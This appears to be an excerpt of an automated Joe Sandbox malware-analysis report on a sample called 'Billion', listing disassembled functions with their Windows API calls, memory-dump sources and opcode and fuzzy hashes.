Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 4321ec55f89f0ab2811f986a8c7f8407b08bb5c0d9755955efe2c18576249049
Instruction ID: 18a51c361664a11e69dd94400f32a992d90d13f76d1c07dbb2adf557274965a7
Opcode Fuzzy Hash: 4321ec55f89f0ab2811f986a8c7f8407b08bb5c0d9755955efe2c18576249049
Instruction Fuzzy Hash: 29316E30948618AEFF348B25E945BFE7BB6EF95310F04422EE081821D1C374EA85CB91

Function 001C80AE Relevance: 6.1, APIs: 4, Instructions: 102windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 001C80D4
GetWindowRect.USER32(?,?), ref: 001C814A
PtInRect.USER32(?,?,?), ref: 001C815A
MessageBeep.USER32(00000000), ref: 001C81C6

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 7716219ea44ad7db150c8ae826347e6bbe56003f94473285f98e6cbdf2fcd67a
Instruction ID: d14b73b1e84fe6e9f360d1529ea1cb00a753057be4406d39173fa2dac98f0a2b
Opcode Fuzzy Hash: 7716219ea44ad7db150c8ae826347e6bbe56003f94473285f98e6cbdf2fcd67a
Instruction Fuzzy Hash: B8418B30A00259DFCB15CF58D8C8FA9BBF5FB69314F1841ADE9549B261CB30E886CB90

Function 001C2176 Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 001C2187

Part of subcall function 00194393: GetWindowThreadProcessId.USER32(?,00000000), ref: 001943AD
Part of subcall function 00194393: GetCurrentThreadId.KERNEL32 ref: 001943B4
Part of subcall function 00194393: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00192F00), ref: 001943BB

GetCaretPos.USER32(?), ref: 001C219B
ClientToScreen.USER32(00000000,?), ref: 001C21E8
GetForegroundWindow.USER32 ref: 001C21EE

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: d6cc900c3874cbebd2e6dc0f5a8ca164e473b662a57104b7b0a127c52c26ba1a
Instruction ID: fadec49eb763d2d6e8df6d507d82699d89b8a89ed4e8eaa2dd1245cd024ee127
Opcode Fuzzy Hash: d6cc900c3874cbebd2e6dc0f5a8ca164e473b662a57104b7b0a127c52c26ba1a
Instruction Fuzzy Hash: 9B3152B5D00209AFDB04EFA5C881DAEBBF8EF58304B54446AE415E7251DB71DE45CBA0

Function 0019E8AC Relevance: 6.1, APIs: 4, Instructions: 87COMMON

Download Yara Rule

APIs

Part of subcall function 001341EA: _wcslen.LIBCMT ref: 001341EF

_wcslen.LIBCMT ref: 0019E8E2
_wcslen.LIBCMT ref: 0019E8F9
_wcslen.LIBCMT ref: 0019E924
GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 0019E92F

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: _wcslen$ExtentPoint32Text
String ID:
API String ID: 3763101759-0
Opcode ID: dc0d635488dce34831680cf3e20a9e327c78f640b2b29e0cb3da15dc90f2937d
Instruction ID: 7ce46d638569baaedf01dbe49665afc6ef39563fc00b1dc6123a4a05332ad660
Opcode Fuzzy Hash: dc0d635488dce34831680cf3e20a9e327c78f640b2b29e0cb3da15dc90f2937d
Instruction Fuzzy Hash: 6B21A171900614EFCF11EFA8D982BAEB7F8EF55355F144064E814BF241D770AE418BA1

Function 001C321E Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 001C32A6
SetWindowLongW.USER32(?,000000EC,00000000), ref: 001C32C0
SetWindowLongW.USER32(?,000000EC,00000000), ref: 001C32CE
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 001C32DC

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 735851ad2af30ba61ad132ccf8654658d77e41cb76b2644933c09e8e45b413b7
Instruction ID: 9359de047dd6d073dca6a2c28842e81c2533f199895b33834dfe2cee02bc80c9
Opcode Fuzzy Hash: 735851ad2af30ba61ad132ccf8654658d77e41cb76b2644933c09e8e45b413b7
Instruction Fuzzy Hash: 2E21D631204611AFDB149B24D845F6ABB95EFA1318F24C25CF8368B6D2C771ED81CBD0

Function 0019825C Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001996E4: lstrlenW.KERNEL32(?,00000002,000000FF,?,?,?,00198271,?,000000FF,?,001990BB,00000000,?,0000001C,?,?), ref: 001996F3
Part of subcall function 001996E4: lstrcpyW.KERNEL32(00000000,?,?,00198271,?,000000FF,?,001990BB,00000000,?,0000001C,?,?,00000000), ref: 00199719
Part of subcall function 001996E4: lstrcmpiW.KERNEL32(00000000,?,00198271,?,000000FF,?,001990BB,00000000,?,0000001C,?,?), ref: 0019974A

lstrlenW.KERNEL32(?,00000002,000000FF,?,000000FF,?,001990BB,00000000,?,0000001C,?,?,00000000), ref: 0019828A
lstrcpyW.KERNEL32(00000000,?,?,001990BB,00000000,?,0000001C,?,?,00000000), ref: 001982B0
lstrcmpiW.KERNEL32(00000002,cdecl,?,001990BB,00000000,?,0000001C,?,?,00000000), ref: 001982EB

Strings

cdecl, xrefs: 001982E2

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 5b3b9302554ba7a051f5846fea0a00c26c1e5c0681892ea1fb2b62317ca82e9e
Instruction ID: 01ec1d5c800e741ac4a17f391cb547543552bbfb4ddf24fd30112c2e95c2f566
Opcode Fuzzy Hash: 5b3b9302554ba7a051f5846fea0a00c26c1e5c0681892ea1fb2b62317ca82e9e
Instruction Fuzzy Hash: E111227A200342ABCF159F78D844E7A77A9FF5A750B10402AFD02CB2A0EF31D912C7A1

Function 001C60FF Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001060,?,00000004), ref: 001C615A
_wcslen.LIBCMT ref: 001C616C
_wcslen.LIBCMT ref: 001C6177
SendMessageW.USER32(?,00001002,00000000,?), ref: 001C62B5

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: MessageSend_wcslen
String ID:
API String ID: 455545452-0
Opcode ID: 2da8482f63164166308650e94570f6eeb2ad4432f195697845427885800184eb
Instruction ID: 9d568e5585403aa05751feec35aa970b5c50140310cc448f4de0aaf404b113ea
Opcode Fuzzy Hash: 2da8482f63164166308650e94570f6eeb2ad4432f195697845427885800184eb
Instruction Fuzzy Hash: 0C119075600218AADB24DFA49C84FEF7BBCEB75754B14412EFA15D6082EBB0D984CB60

Function 00162079 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18789fc4a0ef4e9dc48b5284aef3a508d67b06f568e830200e5ea92c9b52fea
Instruction ID: 10797fcfe4abdfbb1376f85e9ad739f73bdda1f729a65cb5e9e592cd851a95d4
Opcode Fuzzy Hash: b18789fc4a0ef4e9dc48b5284aef3a508d67b06f568e830200e5ea92c9b52fea
Instruction Fuzzy Hash: EC01D1B2609A167FFA2126BCBCC1F676B4DDF527B8B350325F521A11D1DF708CA09160

Function 00192374 Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00192394
SendMessageW.USER32(?,000000C9,?,00000000), ref: 001923A6
SendMessageW.USER32(?,000000C9,?,00000000), ref: 001923BC
SendMessageW.USER32(?,000000C9,?,00000000), ref: 001923D7

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 411f02106f4262a589c82be1a6476deb1e7018c4a4ea6ff5708606c9e5bd16d5
Instruction ID: 30f3c6247016a34d316bc5604c887763117b2baf59c3a218b313260d6fe48e43
Opcode Fuzzy Hash: 411f02106f4262a589c82be1a6476deb1e7018c4a4ea6ff5708606c9e5bd16d5
Instruction Fuzzy Hash: 6511E53A901218BFEF119BA58D85F9DBB78FB08750F200091EA01B7290D771AE50DB94

Function 0019EAED Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0019EB14
MessageBoxW.USER32(?,?,?,?), ref: 0019EB47
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 0019EB5D
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0019EB64

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: 45b891f30238d79d66ec5792c68bb4b471ed666a27735c600685e601f935e785
Instruction ID: b403f525cb954e326aa8636fb2e6ece572caec06e326f762affc221c96a66167
Opcode Fuzzy Hash: 45b891f30238d79d66ec5792c68bb4b471ed666a27735c600685e601f935e785
Instruction Fuzzy Hash: 6A11C876900258BBCB01DBA8EC09E9E7FADAB45320F144266F816E3291D775C9048761

Function 0015D53C Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,?,0015D369,00000000,00000004,00000000), ref: 0015D588
GetLastError.KERNEL32 ref: 0015D594
__dosmaperr.LIBCMT ref: 0015D59B
ResumeThread.KERNEL32(00000000), ref: 0015D5B9

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Thread$CreateErrorLastResume__dosmaperr
String ID:
API String ID: 173952441-0
Opcode ID: 0df975a74a137fc89054720a431685e57c5534dfcdcb30b0b998bc89d7bc5815
Instruction ID: 9c6d3643fc304bba35f5e82e1960f690af032f1ad99cc7de9aa37586e974dcfd
Opcode Fuzzy Hash: 0df975a74a137fc89054720a431685e57c5534dfcdcb30b0b998bc89d7bc5815
Instruction Fuzzy Hash: 0901C472411214EBDB316FA5FC09FAA7B69EF41736F100229FD358A1E0EB708849C7A1

Function 00137873 Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 001378B1
GetStockObject.GDI32(00000011), ref: 001378C5
SendMessageW.USER32(00000000,00000030,00000000), ref: 001378CF

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: dbb90292d37844f966b7c6bf8a0fa9aba7a658abbeb6b66cf25ab845f9380948
Instruction ID: ee68b0f06f60e9c2d66ea4311a1ce34a9184da583f7a3079aadbde966581fa9f
Opcode Fuzzy Hash: dbb90292d37844f966b7c6bf8a0fa9aba7a658abbeb6b66cf25ab845f9380948
Instruction Fuzzy Hash: 9A11C4B2505608BFDF165F90DC58EEABF69FF08354F040125FA0852150D731DCA0EBA0

Function 001633E6 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00000364,00000000,00000000,?,0016338D,00000364,00000000,00000000,00000000,?,001635FE,00000006,FlsSetValue), ref: 00163418
GetLastError.KERNEL32(?,0016338D,00000364,00000000,00000000,00000000,?,001635FE,00000006,FlsSetValue,001D3260,FlsSetValue,00000000,00000364,?,001631B9), ref: 00163424
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0016338D,00000364,00000000,00000000,00000000,?,001635FE,00000006,FlsSetValue,001D3260,FlsSetValue,00000000), ref: 00163432

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 509c827343d23ff205fff5c72aebeb38d06308ae06f1f219e7908dda22e45442
Instruction ID: 1109682f2bb2b568f6fbb99013044b4412bdaa12b7641d1f86f15087a1050b15
Opcode Fuzzy Hash: 509c827343d23ff205fff5c72aebeb38d06308ae06f1f219e7908dda22e45442
Instruction Fuzzy Hash: 76018432A122229BCB224B79AC44D56BB58FF15BB17220630F926D7681DB20DD51C6E0

Function 0019BA6F Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0019B69A,?,00008000), ref: 0019BA8B
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0019B69A,?,00008000), ref: 0019BAB0
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0019B69A,?,00008000), ref: 0019BABA
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0019B69A,?,00008000), ref: 0019BAED

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 444fa8db81ef3336b0860504c715a552638005b688762f9cf90c2b612e9b60e0
Instruction ID: e0c45b60ef4fefbf72d779d58568ea7be51faf434e5557d1ef3fd26cf4d32617
Opcode Fuzzy Hash: 444fa8db81ef3336b0860504c715a552638005b688762f9cf90c2b612e9b60e0
Instruction Fuzzy Hash: E5113C71C04519E7CF04AFE5FA89AEEBB78BF09711F124095D541B3580CB309650CBA5

Function 001C886F Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 001C888E
ScreenToClient.USER32(?,?), ref: 001C88A6
ScreenToClient.USER32(?,?), ref: 001C88CA
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 001C88E5

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 3a0931513b1565392ed87e1406fcf7447f0d00014ff8dbc8c77e2895eaf188b5
Instruction ID: 15fdb183d581b981c0027f9c210b91d3660ceca2d9550441892a1351227da811
Opcode Fuzzy Hash: 3a0931513b1565392ed87e1406fcf7447f0d00014ff8dbc8c77e2895eaf188b5
Instruction Fuzzy Hash: 351140B9D00219AFDB41CFA8D884AEEBBB5FB08310F508166E915E2650E735AA94CF50

Function 001936F4 Relevance: 6.0, APIs: 4, Instructions: 34threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00193712
GetWindowThreadProcessId.USER32(?,00000000), ref: 00193723
GetCurrentThreadId.KERNEL32 ref: 0019372A
AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00193731

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: b2e81fc5204de66e208bb502d9b1bb8a8c3f726975e38caf92d65ef106733d1c
Instruction ID: 3b8c6fbf10f73baefb971acdef2d3d1a4a480aa9506aab347ac1f956c320b6f1
Opcode Fuzzy Hash: b2e81fc5204de66e208bb502d9b1bb8a8c3f726975e38caf92d65ef106733d1c
Instruction Fuzzy Hash: FEE092B11012347BDF2417A2AC4EEEBBF6CDF42BA1F400025F105D2480DBB0C981C2B0

Function 001C92BF Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00131F2D: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00131F87
Part of subcall function 00131F2D: SelectObject.GDI32(?,00000000), ref: 00131F96
Part of subcall function 00131F2D: BeginPath.GDI32(?), ref: 00131FAD
Part of subcall function 00131F2D: SelectObject.GDI32(?,00000000), ref: 00131FD6

MoveToEx.GDI32(?,00000000,00000000,00000000), ref: 001C92E3
LineTo.GDI32(?,?,?), ref: 001C92F0
EndPath.GDI32(?), ref: 001C9300
StrokePath.GDI32(?), ref: 001C930E

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: f0928f6660e952a3a51b054fbbc98b1b14899d2ca74d3a49e569e60cbcb3b4ff
Instruction ID: c8b3deb11d7b54191619f402b7b993cc9c63ca0d672f80bbdf24c22a9aa8d79e
Opcode Fuzzy Hash: f0928f6660e952a3a51b054fbbc98b1b14899d2ca74d3a49e569e60cbcb3b4ff
Instruction Fuzzy Hash: 8CF05E32005258BADB125F58BC0EFCE3F69AF1A320F148005FA11214E2C775D566DBA5

Function 001321A0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 001321BC
SetTextColor.GDI32(?,?), ref: 001321C6
SetBkMode.GDI32(?,00000001), ref: 001321D9
GetStockObject.GDI32(00000005), ref: 001321E1

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Color$ModeObjectStockText
String ID:
API String ID: 4037423528-0
Opcode ID: 8b9b38400f126d6e43721b5e82f3a41f989c2eea87922d3fe72191ae2422a986
Instruction ID: 716064f7c11ea9368ca908e6c04956c6e9c084e72e42747214db92d6fbfb1550
Opcode Fuzzy Hash: 8b9b38400f126d6e43721b5e82f3a41f989c2eea87922d3fe72191ae2422a986
